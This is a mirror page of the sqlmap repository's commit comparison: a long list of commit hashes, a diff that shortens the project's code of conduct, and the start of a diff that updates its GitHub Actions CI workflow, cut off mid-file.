mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5b180533c1 | ||
|
|
2c6e4d85b5 | ||
|
|
1b1f93ae5c | ||
|
|
65b6e7b4ac | ||
|
|
1d9965d003 | ||
|
|
4d518ff813 | ||
|
|
a6e832bb8e | ||
|
|
3cfba468d7 | ||
|
|
8473e2edc6 | ||
|
|
0974a0d859 | ||
|
|
2e3e4385ca | ||
|
|
c36d056481 | ||
|
|
a3d29174fb | ||
|
|
92b652177b | ||
|
|
8ac458c6bc | ||
|
|
e1537fe809 | ||
|
|
2171eb123c | ||
|
|
31005fe4df | ||
|
|
0c491b7551 | ||
|
|
5365c7e53d | ||
|
|
ce01e65255 | ||
|
|
7eb06ce635 | ||
|
|
bda62dcf28 | ||
|
|
fa96906f76 | ||
|
|
6224344224 | ||
|
|
7cbbbaf2a1 | ||
|
|
6c75ad64c4 | ||
|
|
5f6c303f8a | ||
|
|
604c5bc111 | ||
|
|
d486742eec | ||
|
|
a56a6b1f25 | ||
|
|
1ee368f78a | ||
|
|
e10092efcd | ||
|
|
691d2fa7ca | ||
|
|
3fc41ca370 | ||
|
|
3b8a8d3d09 | ||
|
|
1192d266c8 | ||
|
|
0a35b20e39 | ||
|
|
a184c89a6b | ||
|
|
91239a3c10 | ||
|
|
0ee19bdf3d | ||
|
|
cef41c7fa2 | ||
|
|
973ab5ab88 | ||
|
|
d424016742 | ||
|
|
bec4dedbc9 | ||
|
|
529fc7aebb | ||
|
|
8a3b312950 | ||
|
|
774c044519 | ||
|
|
848ba68ccf | ||
|
|
77ee160875 | ||
|
|
49a774035f | ||
|
|
dc42edc19f | ||
|
|
0ba9df2589 | ||
|
|
cbe892410c | ||
|
|
76ddd7a1b9 | ||
|
|
9f798873c4 | ||
|
|
bdf3e09315 | ||
|
|
99367454c5 | ||
|
|
6770b2847b | ||
|
|
319910ccd8 | ||
|
|
ebf4b48337 | ||
|
|
92c2ee47ea | ||
|
|
58d6f740b7 | ||
|
|
e9f8180614 | ||
|
|
d8dbaee0df | ||
|
|
b154f084e0 | ||
|
|
e11ea65230 | ||
|
|
90b14df46c | ||
|
|
53411f6fd8 | ||
|
|
08b986d40c | ||
|
|
d6370a681b | ||
|
|
f9a45c6755 | ||
|
|
3d1258d57d | ||
|
|
dd57fd91e2 | ||
|
|
fb5339d783 | ||
|
|
bbe164a7f3 | ||
|
|
a8b1bb371d | ||
|
|
7d2c33cd32 | ||
|
|
aa8d9b9841 | ||
|
|
61ffadb487 | ||
|
|
881d2e8f90 | ||
|
|
2726807871 | ||
|
|
be881ea65e | ||
|
|
6acc970801 | ||
|
|
be128473d5 | ||
|
|
7b8bf447a0 | ||
|
|
776643e3bd | ||
|
|
fc503ee8d5 | ||
|
|
ede662eca6 | ||
|
|
dbe2734b71 | ||
|
|
a9f5d30b4a | ||
|
|
96fec6864e | ||
|
|
fca694c327 | ||
|
|
cb8298d55a | ||
|
|
579e559c71 | ||
|
|
5be154b9e2 | ||
|
|
112356ac5c | ||
|
|
15a39b6ee9 | ||
|
|
3186a4fa31 | ||
|
|
311bf7ce4d | ||
|
|
1f42f52980 | ||
|
|
ac313f009e | ||
|
|
5fb4b47378 | ||
|
|
e81a99c4f3 | ||
|
|
3a680be4eb | ||
|
|
39d22d26c3 | ||
|
|
306738539e | ||
|
|
023d85fba8 | ||
|
|
2afa92451a | ||
|
|
0630556826 | ||
|
|
2bf5bd1aa4 | ||
|
|
e75d75dbe6 | ||
|
|
aa42dc041d | ||
|
|
0a6dbd260f | ||
|
|
1c869b7430 | ||
|
|
f21a6ab88d | ||
|
|
1b09b028ba | ||
|
|
90fe32f386 | ||
|
|
d7d06c088d | ||
|
|
b0afe6b8d4 | ||
|
|
1dcca2c862 | ||
|
|
ffffe2d0b2 | ||
|
|
356984929f | ||
|
|
e8a2fc50e0 | ||
|
|
f992e44fb5 | ||
|
|
84f0ef8232 | ||
|
|
0079412fd2 | ||
|
|
154adb1d4d | ||
|
|
18e06c6381 | ||
|
|
0ab84074f7 | ||
|
|
cd911acb24 | ||
|
|
5dd91ba8ca | ||
|
|
9fdb704af7 | ||
|
|
bb9e5dbf44 | ||
|
|
f43dba3d34 | ||
|
|
fbc3704bf2 | ||
|
|
762650db07 | ||
|
|
534f873660 | ||
|
|
2aeb275ec9 | ||
|
|
d3cfad6a8d | ||
|
|
1d263f22c3 | ||
|
|
8b70a392a1 | ||
|
|
ec58f57fa9 | ||
|
|
69108bcf01 | ||
|
|
dcb2b513c0 | ||
|
|
13e956ca64 | ||
|
|
ca608da2f1 | ||
|
|
c75df91eb7 | ||
|
|
a1ed35cf3b | ||
|
|
2f56ad66f4 | ||
|
|
07d8d5f731 | ||
|
|
523cdd8d9e | ||
|
|
57dee852e4 | ||
|
|
bf138e800a | ||
|
|
d2bcb39763 | ||
|
|
edbfca0b8e | ||
|
|
b2f98b61ec | ||
|
|
5a5aebfc6e | ||
|
|
a4c983ae06 | ||
|
|
ab881132b8 | ||
|
|
1bd1b457d7 | ||
|
|
2d9e9ed959 | ||
|
|
075d009bb7 | ||
|
|
ffe124f3e0 | ||
|
|
fcec8ef89e | ||
|
|
f129d3ac76 | ||
|
|
36ebce6935 | ||
|
|
e6a5e8ff05 | ||
|
|
c294098cc1 | ||
|
|
272d1447d7 | ||
|
|
a5a7f7203a | ||
|
|
bdf1901a43 | ||
|
|
016c388a13 | ||
|
|
e8512c8c13 | ||
|
|
9925adf799 | ||
|
|
0cf4c641a1 | ||
|
|
a7c63afdd8 | ||
|
|
99ec51f86d | ||
|
|
d381a32c94 | ||
|
|
721c9d9d70 | ||
|
|
a22f782db5 | ||
|
|
26e13122ca | ||
|
|
002828a734 | ||
|
|
6b8de6704c | ||
|
|
4a0308dd8d | ||
|
|
6a4ae1fa96 | ||
|
|
5848fa4f1a | ||
|
|
6d9322bc74 | ||
|
|
e589936982 | ||
|
|
37771f0d25 | ||
|
|
2626e50190 | ||
|
|
3238415d48 | ||
|
|
0f5ba41535 | ||
|
|
67574b8047 | ||
|
|
6ce5d7d7e4 | ||
|
|
fc9b3c9b67 | ||
|
|
b0408f1bd8 | ||
|
|
adc43552d6 | ||
|
|
d1eb861d72 | ||
|
|
09389aadeb | ||
|
|
620f3a77a1 | ||
|
|
6234b62c6f | ||
|
|
2e28b70975 | ||
|
|
d2a9db2aba | ||
|
|
69c8a94be4 | ||
|
|
47e98a02d0 | ||
|
|
c64870301f | ||
|
|
f88ecc007d | ||
|
|
1db09d5a98 | ||
|
|
7b64ae7303 | ||
|
|
f56ab884c7 | ||
|
|
8614059876 | ||
|
|
3764ec63e1 | ||
|
|
267c20048d | ||
|
|
8c86dc68a7 | ||
|
|
c78cd5c43e | ||
|
|
932a5bd7b2 | ||
|
|
d08e992ad6 | ||
|
|
dcecf55780 | ||
|
|
20537c52c5 | ||
|
|
fabe4ce04d | ||
|
|
e288df23db | ||
|
|
00cccf78e5 | ||
|
|
109ce217ec | ||
|
|
384ee1a91a | ||
|
|
54bb3ea136 | ||
|
|
5b322542f0 | ||
|
|
80aaa79ea1 | ||
|
|
697e591c2a | ||
|
|
afc49107b5 | ||
|
|
ab6ce22593 | ||
|
|
76b75e95f0 | ||
|
|
b38eb79ed0 | ||
|
|
9db49d5e34 | ||
|
|
0c6f57d9ec | ||
|
|
43c6574056 | ||
|
|
57f8485279 | ||
|
|
c496cf99e6 | ||
|
|
da07c8756d | ||
|
|
71afbf0711 | ||
|
|
7ee21bbaf9 | ||
|
|
0338c13063 | ||
|
|
5f99b283c2 | ||
|
|
1c894ab116 | ||
|
|
af385c37c0 | ||
|
|
dab476da8a | ||
|
|
38ab43f29e | ||
|
|
94e21844d7 | ||
|
|
b1ff8a31d8 | ||
|
|
9331ac0f2c | ||
|
|
16cd9425ae | ||
|
|
d69ae91325 | ||
|
|
59933891e0 | ||
|
|
dad2f02f28 | ||
|
|
05005dde58 | ||
|
|
9d08b1dc03 | ||
|
|
a61e35980a | ||
|
|
2acc8a5540 | ||
|
|
921870ccf0 | ||
|
|
d5ff557a13 | ||
|
|
e23a91f6db | ||
|
|
3378f8df34 | ||
|
|
ab59a4b72a | ||
|
|
97c8b45ccc | ||
|
|
d9a4a0992f | ||
|
|
fb9cec1e97 | ||
|
|
8bc0f4794c | ||
|
|
567e051215 | ||
|
|
40ccd801dc | ||
|
|
1cdc69eb0e | ||
|
|
354977bb5d | ||
|
|
52c742458b | ||
|
|
827ec0a06c | ||
|
|
b8fb645db0 | ||
|
|
f4c4025bdb | ||
|
|
986933e709 | ||
|
|
2fec735b13 | ||
|
|
d0f16b284d | ||
|
|
346c9d9f03 | ||
|
|
df6c50add2 | ||
|
|
6ece3c61bf | ||
|
|
2a9da9d9e5 | ||
|
|
2aafdc0e46 | ||
|
|
3784f8bafd | ||
|
|
1465d55a47 | ||
|
|
622cfa76c6 | ||
|
|
fc1ae6950e | ||
|
|
4c12dda2f7 | ||
|
|
767feba3a7 | ||
|
|
8837dd2435 | ||
|
|
478888b19e | ||
|
|
c1363dd44c | ||
|
|
c1516f1750 | ||
|
|
5893f069ae | ||
|
|
d8cc2ae93b | ||
|
|
8dda2b42a5 | ||
|
|
dd4f40ad5e | ||
|
|
165bf837c9 | ||
|
|
8db71f4d67 | ||
|
|
fd009027f7 | ||
|
|
0033934426 | ||
|
|
291abb0ee8 | ||
|
|
4b3a36ca51 | ||
|
|
4504edaeb1 | ||
|
|
e2c55c1ddc | ||
|
|
89ddc5a592 | ||
|
|
f65dc92b1e | ||
|
|
f46c463eba | ||
|
|
b2a5283e9b | ||
|
|
05f81ab191 | ||
|
|
788c9fa134 | ||
|
|
8f6a37275c | ||
|
|
50ff3debe5 | ||
|
|
6597415ab0 | ||
|
|
3bab3cd795 | ||
|
|
3b3a822e32 | ||
|
|
7fd6bb3b7d | ||
|
|
103a0e6b0f | ||
|
|
3cf29a543a | ||
|
|
5fa2da5eae | ||
|
|
16c8909a0c | ||
|
|
2b9fd6cf82 | ||
|
|
d60e95ede7 | ||
|
|
71d9c6d0f4 | ||
|
|
732d164538 | ||
|
|
2719ce6c59 | ||
|
|
fe69e6bfcc | ||
|
|
d6299fc4f5 | ||
|
|
a7c9b721fd | ||
|
|
47b8b6ed07 | ||
|
|
d2ead9dcda | ||
|
|
e1126a2a4e | ||
|
|
a3bff54cc5 | ||
|
|
c2209d9326 | ||
|
|
1716ad1524 | ||
|
|
bd10f84a9b | ||
|
|
6514597dbb | ||
|
|
40a31c155c | ||
|
|
62a7bf3b03 | ||
|
|
3e7d064cc9 | ||
|
|
39ba1bc00e | ||
|
|
8a75c0bb62 | ||
|
|
6e459d66f2 | ||
|
|
154c7e333e | ||
|
|
d6b491dec4 | ||
|
|
92a9446c46 | ||
|
|
74f90df8ae | ||
|
|
f932a3f30f | ||
|
|
e0269acc0d | ||
|
|
87eb93db15 | ||
|
|
a78885d2e3 | ||
|
|
87ba03815b | ||
|
|
fd7eaf107b | ||
|
|
7774c73291 | ||
|
|
7b60bc8284 | ||
|
|
820efa7a8a | ||
|
|
8ff5d3811a | ||
|
|
4c869817d4 | ||
|
|
2297c81309 | ||
|
|
cb20a446ae | ||
|
|
b933ff3f63 | ||
|
|
8676166acd | ||
|
|
6bbcd4a28a | ||
|
|
70efdfdc6b | ||
|
|
24e26d102a | ||
|
|
ca755467de | ||
|
|
60403f80df | ||
|
|
1feb6f73b9 | ||
|
|
d6a754e8b2 | ||
|
|
3809161b0e | ||
|
|
02ae09e154 | ||
|
|
149bdd836b | ||
|
|
692c4bc42f | ||
|
|
c7a9185bcf | ||
|
|
9daeab2d5a | ||
|
|
333e3e48e5 | ||
|
|
69ba213db9 | ||
|
|
cbf5dbd29e | ||
|
|
771d4cfb66 | ||
|
|
7e610b8716 | ||
|
|
c51b4c072f | ||
|
|
e8162d314a | ||
|
|
7a95103122 | ||
|
|
e47b976f5a | ||
|
|
f6912fc921 | ||
|
|
2893fd5c4d | ||
|
|
0a331f2f89 | ||
|
|
0430f780ab | ||
|
|
cef105f322 | ||
|
|
15715a2513 | ||
|
|
a2bbca1ee3 | ||
|
|
0cfa88e50e | ||
|
|
57dcc04cbe | ||
|
|
da66f1b3ec | ||
|
|
0d82096025 | ||
|
|
f15b73d571 | ||
|
|
c0d343b341 | ||
|
|
de87b28c61 | ||
|
|
b66840eb2e | ||
|
|
4ba8edef1d | ||
|
|
f5ee4028e4 | ||
|
|
87a3a2e51c | ||
|
|
bf28b0ae47 | ||
|
|
0b2b3e956f | ||
|
|
a3fc171665 | ||
|
|
46fc5acbfc | ||
|
|
9d8c1021f3 | ||
|
|
03b44ed2f1 | ||
|
|
a3b857ebae | ||
|
|
7e652ed15d | ||
|
|
e82b1b56f7 | ||
|
|
9d653d2d50 | ||
|
|
6d306ba50d | ||
|
|
e1aac02ef2 | ||
|
|
35fefc3b65 | ||
|
|
497d3772bd | ||
|
|
889ad43541 | ||
|
|
bbc49360c7 | ||
|
|
2aed8d1513 | ||
|
|
824ef464e1 | ||
|
|
d5d6fac58d | ||
|
|
a2d44a7a16 | ||
|
|
8de9c5899d | ||
|
|
8a458fc8d0 | ||
|
|
002a28f7f0 | ||
|
|
1404133538 | ||
|
|
a0cbfba9bd | ||
|
|
cc7f803d60 | ||
|
|
75c4c868b4 | ||
|
|
4e2438dc1e | ||
|
|
ea1f089220 | ||
|
|
be284e9fe5 | ||
|
|
c210daca04 | ||
|
|
7c401cab64 | ||
|
|
91bf58b54e | ||
|
|
d570f8e91f | ||
|
|
403855f701 | ||
|
|
17e94c3409 | ||
|
|
948d01d57a | ||
|
|
3816df1241 | ||
|
|
48b915b5ee | ||
|
|
61d327aae1 | ||
|
|
d42e50367e | ||
|
|
03fb84c5be | ||
|
|
10c464cd6f | ||
|
|
e24678fc31 | ||
|
|
bc4ce6e44a | ||
|
|
93d2439624 | ||
|
|
6fc0ddab8f | ||
|
|
9e92d3cc94 | ||
|
|
3307babb14 | ||
|
|
d984593bcb | ||
|
|
bfe410c8d3 | ||
|
|
63b1b597aa | ||
|
|
f09ea122fb | ||
|
|
800e6f0a56 | ||
|
|
000c4e5689 | ||
|
|
4b08aaffd6 | ||
|
|
2e892102b7 | ||
|
|
1d1725f920 | ||
|
|
fc16a8e120 | ||
|
|
994292edec | ||
|
|
37322b5197 | ||
|
|
3a36265a22 | ||
|
|
b4a6d25795 | ||
|
|
8e48af61b7 | ||
|
|
6e1fe6fbca | ||
|
|
543661721d | ||
|
|
8a2ad7d128 | ||
|
|
e12d7a22d0 | ||
|
|
74b5ffd4dc | ||
|
|
7e565051bd | ||
|
|
680ebd9d3f | ||
|
|
6a95e63625 | ||
|
|
d229d4d4d3 | ||
|
|
12b81504d9 | ||
|
|
b67a6ad0d1 | ||
|
|
da36d2826a | ||
|
|
cd7ebe940c | ||
|
|
1555be2df4 | ||
|
|
69e1bf2fbe | ||
|
|
df97e1da46 | ||
|
|
7747112340 | ||
|
|
a100496ec0 | ||
|
|
bc9e51a551 | ||
|
|
1636b72243 | ||
|
|
85b8d36620 | ||
|
|
be216041e2 | ||
|
|
ef00b9fab2 | ||
|
|
5c691247e1 | ||
|
|
70b4d00364 | ||
|
|
2969563463 | ||
|
|
00003b2825 | ||
|
|
d27b560dbd | ||
|
|
aaa3a0b9a1 | ||
|
|
d47aacbfba | ||
|
|
af0e46316a | ||
|
|
58db3a74d5 | ||
|
|
bfa412fb75 | ||
|
|
f6861d227b | ||
|
|
ab1efed0d5 | ||
|
|
ecf8ccc72e | ||
|
|
11836f8299 | ||
|
|
3142e7b9cc | ||
|
|
e48cce3fa3 | ||
|
|
430399c72a | ||
|
|
899447fbae | ||
|
|
8a19966017 | ||
|
|
5a4a8eed62 | ||
|
|
0ac9883767 | ||
|
|
dca0bb648d | ||
|
|
57086969cc | ||
|
|
d96ac7c777 | ||
|
|
c6d272bb81 | ||
|
|
b702cbae88 | ||
|
|
7dc414b06b | ||
|
|
69efd623c9 | ||
|
|
8110ccb38a | ||
|
|
5e4ddcc953 | ||
|
|
89d6b94d0d | ||
|
|
85a71c2b49 | ||
|
|
cfd9309be4 | ||
|
|
3e8a69cfbe | ||
|
|
b67ea8f294 | ||
|
|
195c4bec34 | ||
|
|
249d2a6cbb | ||
|
|
10282a3993 | ||
|
|
8d91c65bdb | ||
|
|
b3f3405775 | ||
|
|
3d0932c217 | ||
|
|
244d283198 | ||
|
|
4f425792e3 | ||
|
|
46ba1d1bf1 | ||
|
|
6d1382f448 | ||
|
|
a20f930844 | ||
|
|
0d4aff7e1a | ||
|
|
2f4ff0d430 | ||
|
|
2c356ed22a | ||
|
|
f564db0d56 | ||
|
|
06b74f9390 | ||
|
|
ae851d9511 | ||
|
|
d373eeaea5 | ||
|
|
762037e78d | ||
|
|
b30c169b8a | ||
|
|
4caeff9cf4 | ||
|
|
8cac5fdab6 | ||
|
|
bfe39d010f | ||
|
|
fadf5bb753 | ||
|
|
8258d6d233 | ||
|
|
bc252ef010 | ||
|
|
aa0fb23314 | ||
|
|
36c55a33fb | ||
|
|
c07b15666c | ||
|
|
220a75b230 | ||
|
|
5a12bd290d | ||
|
|
e659543048 | ||
|
|
d77e925a10 | ||
|
|
1a6a5b1226 | ||
|
|
dfbba622fc | ||
|
|
026e5d05f4 | ||
|
|
4489b2c0d2 | ||
|
|
41330aa3b7 | ||
|
|
cc74bdfbad | ||
|
|
e40a9a3b87 | ||
|
|
09aaa9b847 | ||
|
|
dec5a82077 | ||
|
|
5e5629cd7a | ||
|
|
2b2796d859 | ||
|
|
3cec18f323 | ||
|
|
fdf6673dbb | ||
|
|
39b8ff4bec | ||
|
|
93cbbc2378 | ||
|
|
608412907a | ||
|
|
c20c718dc3 | ||
|
|
3ae174a94d | ||
|
|
c310c695a1 | ||
|
|
0ed5cd2cfd | ||
|
|
e433332423 | ||
|
|
4bb7644f73 | ||
|
|
eeb16d155c | ||
|
|
3c16bfdb3c | ||
|
|
79c9db10a9 | ||
|
|
7ad4d6760b | ||
|
|
3fe094a4c3 | ||
|
|
56f02e5d5b | ||
|
|
083f54b7df | ||
|
|
bbadc0d583 | ||
|
|
b93bc51d65 | ||
|
|
c2f86976fb | ||
|
|
959ba63f78 | ||
|
|
d2106f278e | ||
|
|
dbe45a477b | ||
|
|
0b5eb377c0 | ||
|
|
5a097c74c0 | ||
|
|
b1e36c6ddc | ||
|
|
9312d26da8 | ||
|
|
2b6115c70c | ||
|
|
2e6820f981 | ||
|
|
f00e8f5b71 | ||
|
|
49ef9d614d | ||
|
|
be07aea5fb | ||
|
|
97851871f5 | ||
|
|
ea0783d381 | ||
|
|
4a913d2ab1 | ||
|
|
4af3195041 | ||
|
|
96645deee1 | ||
|
|
f08f860bd7 | ||
|
|
5640ba7795 | ||
|
|
d54907da1d | ||
|
|
c8ccc317bf | ||
|
|
914b4498e8 | ||
|
|
00ca27c1a6 | ||
|
|
f7fb153fdd | ||
|
|
360dc478c0 | ||
|
|
60950bc03b | ||
|
|
7be7240ed6 | ||
|
|
c871a37693 | ||
|
|
a4c1afafee | ||
|
|
2172aea6e4 | ||
|
|
8a97346564 | ||
|
|
7767999116 | ||
|
|
cb36ff7f22 | ||
|
|
ebfc481755 | ||
|
|
b54929af28 | ||
|
|
fcd3eae668 | ||
|
|
0ce9d4aeb7 | ||
|
|
cd6e2f1c8a | ||
|
|
fbee649fb6 | ||
|
|
362f7aae0a | ||
|
|
600823f7c1 | ||
|
|
683c258600 | ||
|
|
e9e0b6a7fe | ||
|
|
caccfe85ed | ||
|
|
1a97d9e296 | ||
|
|
72fcb66fe8 | ||
|
|
51b56820f7 | ||
|
|
f31ea1e2f5 | ||
|
|
657eb464f8 | ||
|
|
e6e1bdc5b7 | ||
|
|
876f14199e | ||
|
|
21d0c67bf7 | ||
|
|
9063c21f62 | ||
|
|
d9102e03c6 | ||
|
|
e62e8c6cea | ||
|
|
57047ba8cf | ||
|
|
568e9f0d37 | ||
|
|
648752c508 | ||
|
|
264095aa97 | ||
|
|
5224a3a496 | ||
|
|
c57f461441 | ||
|
|
9d18c81fe0 | ||
|
|
d5cd281e31 | ||
|
|
05f2e174c0 | ||
|
|
636c12b356 | ||
|
|
ab7ce92d83 | ||
|
|
d4349a88e4 | ||
|
|
89d47893ef | ||
|
|
38f3f16127 | ||
|
|
7c4e4247d8 | ||
|
|
8c63d4c4a6 | ||
|
|
f36d040206 | ||
|
|
ef6c3d40d3 | ||
|
|
07aa7f994d | ||
|
|
9e29d7af8c | ||
|
|
88f22c3440 | ||
|
|
3d70e2511b | ||
|
|
04bf68f4ea | ||
|
|
1da33b9901 | ||
|
|
b5a1f6fa09 | ||
|
|
b0feb2a0fd | ||
|
|
29c5117ee3 | ||
|
|
fd9045cbc6 | ||
|
|
279a9b3314 | ||
|
|
e9a9d90837 | ||
|
|
a995e1afb4 | ||
|
|
bc0d2a11a3 | ||
|
|
7bc3741a48 | ||
|
|
363a405fa0 | ||
|
|
e2534b3c36 | ||
|
|
65ce6ba4c9 | ||
|
|
2e00154e38 | ||
|
|
603295e68d | ||
|
|
69a613ef67 | ||
|
|
69eca57915 | ||
|
|
5864dd4949 | ||
|
|
dc30e60082 | ||
|
|
4af6dad130 | ||
|
|
58ebc41b28 | ||
|
|
9e436efbc5 | ||
|
|
760fac59d8 | ||
|
|
15c65d084c | ||
|
|
6ef62d0201 | ||
|
|
8c9e70496b | ||
|
|
ec123bafb1 | ||
|
|
737f2279e2 | ||
|
|
4a40101647 | ||
|
|
ea8c6bdb63 | ||
|
|
1a3fca5652 | ||
|
|
dd3780d7f8 | ||
|
|
f69a63b2b6 | ||
|
|
1c3f2dc347 | ||
|
|
70c3c12a03 | ||
|
|
894bed9031 | ||
|
|
e1a509ebb7 | ||
|
|
ac2bd503d7 | ||
|
|
66983d31d7 | ||
|
|
49902fe5ef | ||
|
|
09fadc43d3 | ||
|
|
ba05bb6064 | ||
|
|
883bd2398b | ||
|
|
db512c7603 | ||
|
|
33cd5d5055 | ||
|
|
d7be168f79 | ||
|
|
60a306b34d | ||
|
|
e92a383fba | ||
|
|
905e541347 | ||
|
|
6e1a40d755 | ||
|
|
6f97e8cd31 | ||
|
|
9da2bde989 | ||
|
|
95bd377b26 | ||
|
|
bb73c60dc0 | ||
|
|
5cc46916cc | ||
|
|
53aafe92fe | ||
|
|
866fc5dfac | ||
|
|
63cecb6480 | ||
|
|
ea622b829f | ||
|
|
503c7b62bd | ||
|
|
1614084709 | ||
|
|
1330198eab | ||
|
|
bf2d3a5315 | ||
|
|
0e74e43846 | ||
|
|
201f5e8171 | ||
|
|
f2560776e9 | ||
|
|
0a6b5fb747 | ||
|
|
3787750275 | ||
|
|
d1d9c7cac6 | ||
|
|
8be94b488f | ||
|
|
c95f67c7e2 | ||
|
|
673a7a5ff8 | ||
|
|
e4960ce747 | ||
|
|
22dc46c926 | ||
|
|
9b3ed89fd6 | ||
|
|
eb5c1e0aa2 | ||
|
|
d79af7d1ec | ||
|
|
2b44aa1fbb | ||
|
|
137687e120 | ||
|
|
6d49b5a403 | ||
|
|
868536d466 | ||
|
|
e0ae53091f | ||
|
|
bcabe55fc3 | ||
|
|
7a21109ad0 | ||
|
|
870e11a38e | ||
|
|
1a7538ae0f | ||
|
|
60d145ab6b | ||
|
|
af8742e882 | ||
|
|
dbf5daf788 | ||
|
|
c62dd8511e | ||
|
|
d89a0bb9df | ||
|
|
09dfa568ae | ||
|
|
9c78723a63 | ||
|
|
801a431a3a | ||
|
|
f22abb36a3 | ||
|
|
6d4123c27d | ||
|
|
f44aef3e41 | ||
|
|
619d53a9e5 | ||
|
|
77a42b3a6f | ||
|
|
0599f7c1b6 | ||
|
|
03be59042f | ||
|
|
6d914fefe4 | ||
|
|
86e4cd55fa | ||
|
|
3915f9f702 | ||
|
|
9a41707ec7 | ||
|
|
bce338bdff | ||
|
|
5df4c29158 | ||
|
|
71a12bff64 | ||
|
|
f7aa757a9f | ||
|
|
f79e774d31 | ||
|
|
e87521de11 | ||
|
|
43af5008b1 | ||
|
|
cceda39208 | ||
|
|
f95b85194b | ||
|
|
d9d9b5eeb7 | ||
|
|
8f75402c3c | ||
|
|
dc89ddcfab | ||
|
|
59844b1929 | ||
|
|
99546c77c7 | ||
|
|
2ecb9c2aa7 | ||
|
|
60049f2ce9 | ||
|
|
bfbb5528f3 | ||
|
|
f5b84ffbb3 | ||
|
|
c79b87cb6c | ||
|
|
1e57a377ad | ||
|
|
26d0b3b23b | ||
|
|
8241cf6ea1 | ||
|
|
48d717d08f | ||
|
|
96650e1c15 | ||
|
|
23b19aa1f3 | ||
|
|
6890048041 | ||
|
|
bb546015f9 | ||
|
|
6bf64bfa88 | ||
|
|
2ffaaca3d0 | ||
|
|
12594c2dc7 | ||
|
|
52e83cdca1 | ||
|
|
c3c1f35b35 | ||
|
|
de10cff3e0 | ||
|
|
da65936a3c | ||
|
|
ea892f9d62 | ||
|
|
71e18a98d2 | ||
|
|
466a80b22b | ||
|
|
c25344b799 | ||
|
|
e7fbc2b9db | ||
|
|
b0ac34caf1 | ||
|
|
0a4cdd7fb3 | ||
|
|
09c364d58f | ||
|
|
8f9eeb5d54 | ||
|
|
1de66fd7e1 | ||
|
|
d4f479e7a8 | ||
|
|
b8402744fc | ||
|
|
8ad5d8347f | ||
|
|
07d0a60e6c |
+12
-36
@@ -1,46 +1,22 @@
|
|||||||
# Contributor Covenant Code of Conduct
|
# Code of Conduct
|
||||||
|
|
||||||
## Our Pledge
|
## Our Goal
|
||||||
|
|
||||||
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
|
The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
|
||||||
|
|
||||||
## Our Standards
|
## Standards
|
||||||
|
|
||||||
Examples of behavior that contributes to creating a positive environment include:
|
Contributors are expected to:
|
||||||
|
|
||||||
* Using welcoming and inclusive language
|
* Be respectful and professional in all communications.
|
||||||
* Being respectful of differing viewpoints and experiences
|
* Focus on the technical merits of the project.
|
||||||
* Gracefully accepting constructive criticism
|
* Gracefully accept constructive criticism.
|
||||||
* Focusing on what is best for the community
|
|
||||||
* Showing empathy towards other community members
|
|
||||||
|
|
||||||
Examples of unacceptable behavior by participants include:
|
Unacceptable behavior includes:
|
||||||
|
|
||||||
* The use of sexualized language or imagery and unwelcome sexual attention or advances
|
* Harassment, personal attacks, or doxxing.
|
||||||
* Trolling, insulting/derogatory comments, and personal or political attacks
|
* Any behavior that disrupts the technical progress of the project.
|
||||||
* Public or private harassment
|
|
||||||
* Publishing others' private information, such as a physical or electronic address, without explicit permission
|
|
||||||
* Other conduct which could reasonably be considered inappropriate in a professional setting
|
|
||||||
|
|
||||||
## Our Responsibilities
|
|
||||||
|
|
||||||
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
|
|
||||||
|
|
||||||
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
|
|
||||||
|
|
||||||
## Scope
|
|
||||||
|
|
||||||
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
|
|
||||||
|
|
||||||
## Enforcement
|
## Enforcement
|
||||||
|
|
||||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
|
The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.
|
||||||
|
|
||||||
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
|
|
||||||
|
|
||||||
## Attribution
|
|
||||||
|
|
||||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
|
|
||||||
|
|
||||||
[homepage]: http://contributor-covenant.org
|
|
||||||
[version]: http://contributor-covenant.org/version/1/4/
|
|
||||||
|
|||||||
+121
-9
@@ -3,26 +3,138 @@ on:
|
|||||||
branches: [ master ]
|
branches: [ master ]
|
||||||
pull_request:
|
pull_request:
|
||||||
branches: [ master ]
|
branches: [ master ]
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ci-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
|
timeout-minutes: 30
|
||||||
|
|
||||||
|
env:
|
||||||
|
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
|
||||||
|
PYTHONHASHSEED: "0"
|
||||||
|
|
||||||
strategy:
|
strategy:
|
||||||
matrix:
|
matrix:
|
||||||
os: [ubuntu-latest, macos-latest, windows-latest]
|
include:
|
||||||
python-version: [ 'pypy-2.7', '3.13' ]
|
- os: ubuntu-latest
|
||||||
exclude:
|
python-version: "pypy-2.7"
|
||||||
- os: macos-latest
|
- os: macos-latest
|
||||||
python-version: 'pypy-2.7'
